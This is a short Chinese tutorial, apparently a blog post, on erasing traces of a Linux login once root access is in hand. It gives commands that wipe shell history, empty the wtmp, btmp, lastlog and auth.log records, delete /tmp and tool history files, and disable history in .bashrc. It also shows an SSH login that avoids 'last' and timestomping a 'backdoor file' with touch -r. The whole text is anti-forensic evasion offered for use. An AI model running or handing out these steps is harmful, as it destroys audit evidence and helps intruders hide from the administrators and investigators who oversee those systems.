Linux 删除登录痕迹
本文介绍相对彻底的删除 Linux 的登录痕迹,操作前确保已经可以拿到能提权ROOT令牌的系统管理权限。
当然,仍可以先查阅以下文章。
Linux 删除用户终端命令行操作记录-CSDN博客
1、清楚当前会话记录
history -c # 清空当前终端内存中的历史命令
2、永久删除历史文件
rm ~/.bash_history # 删除历史文件
> ~/.bash_history # 或清空文件内容
shred -u ~/.bash_history # 安全擦除(可选)
3、清除系统登录日志
# 清空主要登录记录文件
echo "" | sudo tee /var/log/wtmp >/dev/null # 用户登录/注销记录
echo "" | sudo tee /var/log/btmp >/dev/null # 失败登录记录
echo "" | sudo tee /var/log/lastlog >/dev/null # 最后登录信息
echo "" | sudo tee /var/log/auth.log >/dev/null # 认证日志(Ubuntu/Debian)
4、清楚临时文件记录
rm -rf /tmp/* ~/.viminfo ~/.mysql_history # 删除缓存及临时记录
5、禁用历史记录(持久生效)
在 ~/.bashrc 末尾添加:
unset HISTFILE # 禁止记录历史命令
export HISTSIZE=0 # 设置历史记录长度为0
生效配置:
source ~/.bashrc
6、进阶隐藏技巧
6.1、隐身登录SSH
ssh -T user@host /bin/bash -i # 无伪终端登录,避开`last`检测
伪装文件时间
touch -r 合法文件 目标文件 # 修改后门文件时间为"合法文件"时间
补充:
1、部分审计日志(如auditd)需额外清理,非所有痕迹均可完全清除。
2、 建议操作后重启会话或执行 kill -9 $$ 终止当前Shell,避免内存残留记录。定期清理可结合cron、systemd 任务自动化。
3、直接清空日志文件可能导致 rsyslog 等服务异常,生产环境慎用